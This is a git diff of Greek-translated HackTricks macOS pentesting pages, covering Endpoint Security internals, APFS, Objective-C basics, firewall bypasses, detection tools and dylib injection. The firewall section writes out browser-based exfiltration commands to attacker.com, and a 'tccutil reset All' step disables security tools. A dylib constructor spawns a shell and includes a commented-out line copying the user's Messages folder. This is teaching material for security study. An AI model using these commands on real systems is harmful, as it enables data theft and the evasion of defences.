- **EndpointSecurityDriver**: Αυτό λειτουργεί ως το "σημείο εισόδου" για την επέκταση πυρήνα. Είναι το κύριο σημείο αλληλεπίδρασης μεταξύ του OS και του πλαισίου Endpoint Security.
- **EndpointSecurityEventManager**: Αυτό το στοιχείο είναι υπεύθυνο για την υλοποίηση kernel hooks. Οι kernel hooks επιτρέπουν στο πλαίσιο να παρακολουθεί γεγονότα του συστήματος παρεμβαίνοντας σε κλήσεις συστήματος.
- **EndpointSecurityClientManager**: Αυτό διαχειρίζεται την επικοινωνία με τους πελάτες χώρου χρήστη, παρακολουθώντας ποιες πελάτες είναι συνδεδεμένοι και χρειάζονται να λάβουν ειδοποιήσεις γεγονότων.
- **EndpointSecurityMessageManager**: Αυτό στέλνει μηνύματα και ειδοποιήσεις γεγονότων στους πελάτες χώρου χρήστη.
The events that the Endpoint Security framework can monitor are categorized into:
Τα γεγονότα που μπορεί να παρακολουθεί το πλαίσιο Endpoint Security κατηγοριοποιούνται σε:
- File events
- Process events
- Socket events
- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device)
- Γεγονότα αρχείων
- Γεγονότα διεργασιών
- Γεγονότα υποδοχών
- Γεγονότα πυρήνα (όπως η φόρτωση/εκφόρτωση μιας επέκτασης πυρήνα ή το άνοιγμα μιας συσκευής I/O Kit)
### Endpoint Security Framework Architecture
### Αρχιτεκτονική Πλαισίου Endpoint Security
<figure><img src="../../../images/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller:
**Η επικοινωνία χώρου χρήστη** με το πλαίσιο Endpoint Security συμβαίνει μέσω της κλάσης IOUserClient. Χρησιμοποιούνται δύο διαφορετικές υποκλάσεις, ανάλογα με τον τύπο του καλούντος:
- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`.
- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework.
- **EndpointSecurityDriverClient**: Αυτό απαιτεί την επιλεξιμότητα `com.apple.private.endpoint-security.manager`, η οποία κατέχεται μόνο από τη διαδικασία συστήματος `endpointsecurityd`.
- **EndpointSecurityExternalClient**: Αυτό απαιτεί την επιλεξιμότητα `com.apple.developer.endpoint-security.client`. Αυτό θα χρησιμοποιούνταν συνήθως από λογισμικό ασφάλειας τρίτων που χρειάζεται να αλληλεπιδράσει με το πλαίσιο Endpoint Security.
The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT.
Οι Endpoint Security Extensions:**`libEndpointSecurity.dylib`** είναι η C βιβλιοθήκη που χρησιμοποιούν οι system extensions για να επικοινωνούν με τον πυρήνα. Αυτή η βιβλιοθήκη χρησιμοποιεί το I/O Kit (`IOKit`) για να επικοινωνήσει με το KEXT Endpoint Security.
**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment.
**`endpointsecurityd`** είναι μια βασική υπηρεσία συστήματος που εμπλέκεται στη διαχείριση και εκκίνηση των επεκτάσεων συστήματος ασφάλειας, ιδιαίτερα κατά τη διάρκεια της πρώιμης διαδικασίας εκκίνησης. **Μόνο οι system extensions** που έχουν σημειωθεί με **`NSEndpointSecurityEarlyBoot`** στο αρχείο `Info.plist` τους λαμβάνουν αυτή τη μεταχείριση πρώιμης εκκίνησης.
Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions.
Μια άλλη υπηρεσία συστήματος, **`sysextd`**, **επικυρώνει τις system extensions** και τις μεταφέρει στις κατάλληλες θέσεις του συστήματος. Στη συνέχεια, ζητά από την σχετική υπηρεσία να φορτώσει την επέκταση. Το **`SystemExtensions.framework`** είναι υπεύθυνο για την ενεργοποίηση και απενεργοποίηση των system extensions.
## Bypassing ESF
ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting.
Το ESF χρησιμοποιείται από εργαλεία ασφάλειας που θα προσπαθήσουν να ανιχνεύσουν έναν red teamer, οπότε οποιαδήποτε πληροφορία σχετικά με το πώς αυτό θα μπορούσε να αποφευχθεί ακούγεται ενδιαφέρουσα.
### CVE-2021-30965
The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running:
Το θέμα είναι ότι η εφαρμογή ασφάλειας πρέπει να έχει **δικαιώματα πλήρους πρόσβασης δίσκου**. Έτσι, αν ένας επιτιθέμενος μπορούσε να αφαιρέσει αυτό, θα μπορούσε να αποτρέψει τη λειτουργία του λογισμικού:
```bash
tccutil reset All
```
Για **περισσότερες πληροφορίες** σχετικά με αυτήν την παράκαμψη και σχετικές, ελέγξτε την ομιλία [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
Στο τέλος, αυτό διορθώθηκε δίνοντας τη νέα άδεια **`kTCCServiceEndpointSecurityClient`** στην εφαρμογή ασφαλείας που διαχειρίζεται το **`tccd`** έτσι ώστε το `tccutil` να μην διαγράφει τις άδειές της, εμποδίζοντας την από το να τρέξει.
At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running.
## References
## Αναφορές
- [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
- [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)

View File

@ -2,33 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
## Apple Propietary File System (APFS)
## Apple Proprietary File System (APFS)
**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**.
**Apple File System (APFS)** είναι ένα σύγχρονο σύστημα αρχείων που έχει σχεδιαστεί για να αντικαταστήσει το Hierarchical File System Plus (HFS+). Η ανάπτυξή του καθοδηγήθηκε από την ανάγκη για **βελτιωμένη απόδοση, ασφάλεια και αποδοτικότητα**.
Some notable features of APFS include:
Ορισμένα αξιοσημείωτα χαρακτηριστικά του APFS περιλαμβάνουν:
1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning.
1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size.
2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted.
3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space.
4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases.
5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption.
Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security.
1. **Κοινοποίηση Χώρου**: Το APFS επιτρέπει σε πολλαπλούς τόμους να **μοιράζονται την ίδια υποκείμενη ελεύθερη αποθήκευση** σε μια φυσική συσκευή. Αυτό επιτρέπει πιο αποδοτική χρήση του χώρου, καθώς οι τόμοι μπορούν να αναπτύσσονται και να συρρικνώνονται δυναμικά χωρίς την ανάγκη χειροκίνητης αλλαγής μεγέθους ή επανακατανομής.
1. Αυτό σημαίνει, σε σύγκριση με τις παραδοσιακές κατανομές σε δίσκους αρχείων, **ότι στο APFS διαφορετικές κατανομές (τόμοι) μοιράζονται όλο το χώρο του δίσκου**, ενώ μια κανονική κατανομή είχε συνήθως σταθερό μέγεθος.
2. **Στιγμιότυπα**: Το APFS υποστηρίζει **δημιουργία στιγμιότυπων**, τα οποία είναι **μόνο για ανάγνωση**, στιγμές του συστήματος αρχείων. Τα στιγμιότυπα επιτρέπουν αποδοτικά αντίγραφα ασφαλείας και εύκολες ανακλήσεις συστήματος, καθώς καταναλώνουν ελάχιστο επιπλέον χώρο αποθήκευσης και μπορούν να δημιουργηθούν ή να αναιρεθούν γρήγορα.
3. **Κλώνοι**: Το APFS μπορεί να **δημιουργήσει κλώνους αρχείων ή καταλόγων που μοιράζονται την ίδια αποθήκευση** με το πρωτότυπο μέχρι να τροποποιηθεί είτε ο κλώνος είτε το πρωτότυπο αρχείο. Αυτή η δυνατότητα παρέχει έναν αποδοτικό τρόπο δημιουργίας αντιγράφων αρχείων ή καταλόγων χωρίς να διπλασιάζεται ο χώρος αποθήκευσης.
4. **Κρυπτογράφηση**: Το APFS **υποστηρίζει εγγενώς την κρυπτογράφηση πλήρους δίσκου** καθώς και κρυπτογράφηση ανά αρχείο και ανά κατάλογο, ενισχύοντας την ασφάλεια των δεδομένων σε διάφορες περιπτώσεις χρήσης.
5. **Προστασία από Κρασάρισμα**: Το APFS χρησιμοποιεί ένα **σχέδιο μεταδεδομένων copy-on-write που διασφαλίζει τη συνέπεια του συστήματος αρχείων** ακόμη και σε περιπτώσεις ξαφνικής απώλειας ρεύματος ή κρασάρισμα συστήματος, μειώνοντας τον κίνδυνο διαφθοράς δεδομένων.
Συνολικά, το APFS προσφέρει ένα πιο σύγχρονο, ευέλικτο και αποδοτικό σύστημα αρχείων για τις συσκευές Apple, με έμφαση στη βελτιωμένη απόδοση, αξιοπιστία και ασφάλεια.
```bash
diskutil list # Get overview of the APFS volumes
```
## Firmlinks
The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`).
The list of firmlinks can be found in the **`/usr/share/firmlinks`** file.
Ο όγκος `Data` είναι προσαρτημένος στο **`/System/Volumes/Data`** (μπορείτε να το ελέγξετε με το `diskutil apfs list`).
Η λίστα των firmlinks μπορεί να βρεθεί στο αρχείο **`/usr/share/firmlinks`**.
```bash
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,24 +5,21 @@
## Objective-C
> [!CAUTION]
> Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of:
> Σημειώστε ότι τα προγράμματα που έχουν γραφτεί σε Objective-C **διατηρούν** τις δηλώσεις κλάσης τους **όταν** **μεταγλωττίζονται** σε [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Τέτοιες δηλώσεις κλάσης **περιλαμβάνουν** το όνομα και τον τύπο των:
- The class
- The class methods
- The class instance variables
You can get this information using [**class-dump**](https://github.com/nygard/class-dump):
- Της κλάσης
- Των μεθόδων της κλάσης
- Των μεταβλητών στιγμής της κλάσης
Μπορείτε να αποκτήσετε αυτές τις πληροφορίες χρησιμοποιώντας [**class-dump**](https://github.com/nygard/class-dump):
```bash
class-dump Kindle.app
```
Σημειώστε ότι αυτά τα ονόματα θα μπορούσαν να είναι κρυπτογραφημένα για να καταστήσουν την αναστροφή του δυαδικού πιο δύσκολη.
Note that this names could be obfuscated to make the reversing of the binary more difficult.
## Classes, Methods & Objects
### Interface, Properties & Methods
## Κλάσεις, Μέθοδοι & Αντικείμενα
### Διεπαφή, Ιδιότητες & Μέθοδοι
```objectivec
// Declare the interface of the class
@interface MyVehicle : NSObject
@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor
@end
```
### **Class**
### **Κλάση**
```objectivec
@implementation MyVehicle : NSObject
// No need to indicate the properties, only define methods
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
@end
```
### **Αντικείμενο & Κλήση Μεθόδου**
### **Object & Call Method**
To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**.
Για να δημιουργήσετε μια παρουσία μιας κλάσης, καλείται η μέθοδος **`alloc`**, η οποία **κατανέμει μνήμη** για κάθε **ιδιότητα** και **μηδενίζει** αυτές τις κατανομές. Στη συνέχεια, καλείται η **`init`**, η οποία **αρχικοποιεί τις ιδιότητες** στις **απαιτούμενες τιμές**.
```objectivec
// Something like this:
MyVehicle *newVehicle = [[MyVehicle alloc] init];
@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new];
// [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
[newVehicle addWheels:4];
```
### **Μέθοδοι Κλάσης**
### **Class Methods**
Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**:
Οι μέθοδοι κλάσης ορίζονται με το **συν (+)** και όχι με την παύλα (-) που χρησιμοποιείται με τις μεθόδους στιγμής. Όπως η μέθοδος κλάσης **NSString** **`stringWithString`**:
```objectivec
+ (id)stringWithString:(NSString *)aString;
```
### Setter & Getter
To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**:
Για να **ορίσετε** & **πάρετε** ιδιότητες, μπορείτε να το κάνετε με **σημειογραφία τελείας** ή σαν να **καλείτε μια μέθοδο**:
```objectivec
// Set
newVehicle.numberOfWheels = 2;
@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2;
NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels);
NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
```
### **Μεταβλητές Στιγμής**
### **Instance Variables**
Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_":
Εναλλακτικά προς τις μεθόδους setter & getter μπορείτε να χρησιμοποιήσετε μεταβλητές στιγμής. Αυτές οι μεταβλητές έχουν το ίδιο όνομα με τις ιδιότητες αλλά ξεκινούν με ένα "\_":
```objectivec
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
}
```
### Πρωτόκολλα
### Protocols
Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods.
There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**.
Τα πρωτόκολλα είναι σύνολα δηλώσεων μεθόδων (χωρίς ιδιότητες). Μια κλάση που υλοποιεί ένα πρωτόκολλο υλοποιεί τις δηλωμένες μεθόδους.
Υπάρχουν 2 τύποι μεθόδων: **υποχρεωτικές** και **προαιρετικές**. Από **προεπιλογή**, μια μέθοδος είναι **υποχρεωτική** (αλλά μπορείτε επίσης να το υποδείξετε με μια ετικέτα **`@required`**). Για να υποδείξετε ότι μια μέθοδος είναι προαιρετική, χρησιμοποιήστε **`@optional`**.
```objectivec
@protocol myNewProtocol
- (void) method1; //mandatory
@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
- (void) method3; //optional
@end
```
### All together
### Όλα μαζί
```objectivec
// gcc -framework Foundation test_obj.m -o test_obj
#import <Foundation/Foundation.h>
@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
@implementation MyVehicle : NSObject
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
}
@end
int main() {
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
}
```
### Βασικές Κλάσεις
### Basic Classes
#### String
#### Συμβολοσειρά
```objectivec
// NSString
NSString *bookTitle = @"The Catcher in the Rye";
NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding];
NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding];
```
Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**.
Οι βασικές κλάσεις είναι **αμετάβλητες**, οπότε για να προστεθεί μια συμβολοσειρά σε μια υπάρχουσα, πρέπει να **δημιουργηθεί μια νέα NSString**.
```objectivec
NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear];
```
Or you could also use a **mutable** string class:
Ή θα μπορούσατε επίσης να χρησιμοποιήσετε μια **mutable** κλάση συμβολοσειράς:
```objectivec
NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "];
[mutableString appendString:bookTitle];
@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
[mutableString appendString:@" and published in "];
[mutableString appendString:bookPublicationYear];
```
#### Number
#### Αριθμός
```objectivec
// character literals.
NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z']
@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
```
#### Array, Sets & Dictionary
#### Πίνακες, Σύνολα & Λεξικά
```objectivec
// Inmutable arrays
NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil];
@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @
// Dictionary
NSDictionary *fruitColorsDictionary = @{
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
};
// In dictionaryWithObjectsAndKeys you specify the value and then the key:
NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys:
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
nil];
// Mutable dictionary
@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
[mutFruitColorsDictionary removeObjectForKey:@"grape"];
```
### Blocks
Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas.
Τα Blocks είναι **συναρτήσεις που συμπεριφέρονται ως αντικείμενα** έτσι ώστε να μπορούν να περαστούν σε συναρτήσεις ή να **αποθηκευτούν** σε **πίνακες** ή **λεξικά**. Επίσης, μπορούν να **αντιπροσωπεύουν μια τιμή αν τους δοθούν τιμές** οπότε είναι παρόμοια με τα lambdas.
```objectivec
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
//Perform operations here
//Perform operations here
};
// For example
int (^suma)(int, int) = ^(int a, int b){
return a+b;
return a+b;
};
NSLog(@"3+4 = %d", suma(3,4));
```
It's also possible to **define a block type to be used as a parameter** in functions:
Είναι επίσης δυνατό να **ορίσετε έναν τύπο μπλοκ για να χρησιμοποιηθεί ως παράμετρος** σε συναρτήσεις:
```objectivec
// Define the block type
typedef void (^callbackLogger)(void);
// Create a bloack with the block type
callbackLogger myLogger = ^{
NSLog(@"%@", @"This is my block");
NSLog(@"%@", @"This is my block");
};
// Use it inside a function as a param
void genericLogger(callbackLogger blockParam) {
NSLog(@"%@", @"This is my function");
blockParam();
NSLog(@"%@", @"This is my function");
blockParam();
}
genericLogger(myLogger);
// Call it inline
genericLogger(^{
NSLog(@"%@", @"This is my second block");
NSLog(@"%@", @"This is my second block");
});
```
### Files
### Αρχεία
```objectivec
// Manager to manage files
NSFileManager *fileManager = [NSFileManager defaultManager];
// Check if file exists:
if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) {
NSLog (@"File exists");
NSLog (@"File exists");
}
// copy files
if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) {
NSLog (@"Copy successful");
NSLog (@"Copy successful");
}
// Check if the content of 2 files match
if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) {
NSLog (@"File contents match");
NSLog (@"File contents match");
}
// Delete file
if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) {
NSLog(@"Removed successfully");
NSLog(@"Removed successfully");
}
```
It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**.
Είναι επίσης δυνατό να διαχειριστείτε αρχεία **χρησιμοποιώντας αντικείμενα `NSURL` αντί για αντικείμενα `NSString`**. Τα ονόματα μεθόδων είναι παρόμοια, αλλά **με `URL` αντί για `Path`**.
```objectivec
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,82 +4,72 @@
## Found techniques
The following techniques were found working in some macOS firewall apps.
Οι παρακάτω τεχνικές βρέθηκαν να λειτουργούν σε ορισμένες εφαρμογές firewall macOS.
### Abusing whitelist names
- For example calling the malware with names of well known macOS processes like **`launchd`**
- Για παράδειγμα, καλώντας το κακόβουλο λογισμικό με ονόματα γνωστών διαδικασιών macOS όπως **`launchd`**
### Synthetic Click
- If the firewall ask for permission to the user make the malware **click on allow**
- Αν το firewall ζητήσει άδεια από τον χρήστη, κάντε το κακόβουλο λογισμικό να **κλικάρει στο allow**
### **Use Apple signed binaries**
- Like **`curl`**, but also others like **`whois`**
- Όπως **`curl`**, αλλά και άλλες όπως **`whois`**
### Well known apple domains
The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.
Το firewall θα μπορούσε να επιτρέπει συνδέσεις σε γνωστούς τομείς της Apple όπως **`apple.com`** ή **`icloud.com`**. Και το iCloud θα μπορούσε να χρησιμοποιηθεί ως C2.
### Generic Bypass
Some ideas to try to bypass firewalls
Ορισμένες ιδέες για να προσπαθήσετε να παρακάμψετε τα firewalls
### Check allowed traffic
Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them
Γνωρίζοντας την επιτρεπόμενη κίνηση θα σας βοηθήσει να εντοπίσετε πιθανούς λευκούς τομείς ή ποιες εφαρμογές επιτρέπεται να έχουν πρόσβαση σε αυτούς.
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
### Κατάχρηση DNS
### Abusing DNS
DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
Οι επιλύσεις DNS γίνονται μέσω της υπογεγραμμένης εφαρμογής **`mdnsreponder`** που πιθανώς θα επιτρέπεται να επικοινωνεί με τους διακομιστές DNS.
<figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
### Via Browser apps
### Μέσω εφαρμογών προγράμματος περιήγησης
- **oascript**
```applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```
- Google Chrome
```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```
- Firefox
- Φοίνικας
```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```
- Safari
- Σαφάρι
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### Μέσω εισβολών διαδικασιών
### Via processes injections
If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:
Αν μπορείτε να **εισάγετε κώδικα σε μια διαδικασία** που επιτρέπεται να συνδεθεί σε οποιονδήποτε διακομιστή, θα μπορούσατε να παρακάμψετε τις προστασίες του τείχους προστασίας:
{{#ref}}
macos-proces-abuse/
{{#endref}}
## References
## Αναφορές
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)

View File

@ -4,16 +4,16 @@
## Firewalls
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information.
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch).
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Θα παρακολουθεί κάθε σύνδεση που γίνεται από κάθε διαδικασία. Ανάλογα με τη λειτουργία (σιωπηλή επιτρεπόμενη σύνδεση, σιωπηλή άρνηση σύνδεσης και ειδοποίηση) θα **σας δείξει μια ειδοποίηση** κάθε φορά που καθορίζεται μια νέα σύνδεση. Έχει επίσης μια πολύ ωραία διεπαφή χρήστη για να δείτε όλες αυτές τις πληροφορίες.
- [**LuLu**](https://objective-see.org/products/lulu.html): Τείχος προστασίας Objective-See. Αυτό είναι ένα βασικό τείχος προστασίας που θα σας ειδοποιεί για ύποπτες συνδέσεις (έχει διεπαφή χρήστη αλλά δεν είναι τόσο εντυπωσιακή όσο αυτή του Little Snitch).
## Persistence detection
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service).
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence.
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Εφαρμογή Objective-See που θα αναζητήσει σε πολλές τοποθεσίες όπου **το κακόβουλο λογισμικό θα μπορούσε να επιμένει** (είναι ένα εργαλείο μιας χρήσης, όχι υπηρεσία παρακολούθησης).
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Όπως το KnockKnock παρακολουθώντας διαδικασίες που δημιουργούν επιμονή.
## Keyloggers detection
- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps"&#x20;
- [**ReiKey**](https://objective-see.org/products/reikey.html): Εφαρμογή Objective-See για να βρείτε **keyloggers** που εγκαθιστούν "event taps" πληκτρολογίου&#x20;
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## DYLD_INSERT_LIBRARIES Basic example
**Library to inject** to execute a shell:
## DYLD_INSERT_LIBRARIES Βασικό παράδειγμα
**Βιβλιοθήκη προς έγχυση** για την εκτέλεση ενός shell:
```c
// gcc -dynamiclib -o inject.dylib inject.c
@ -17,35 +16,30 @@ __attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Binary to attack:
Δυαδικό προς επίθεση:
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
printf("Hello, World!\n");
return 0;
}
```
Injection:
Εισαγωγή:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Παράδειγμα Dyld Hijacking
## Dyld Hijacking Example
The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
Ο στοχευμένος ευάλωτος δυαδικός είναι το `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
{{#tabs}}
{{#tab name="entitlements"}}
@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources
{{#endtab}}
{{#tab name="LC_RPATH"}}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{{#endtab}}
{{#tab name="@rpath"}}
```bash
# Check librareis loaded using @rapth and the used versions
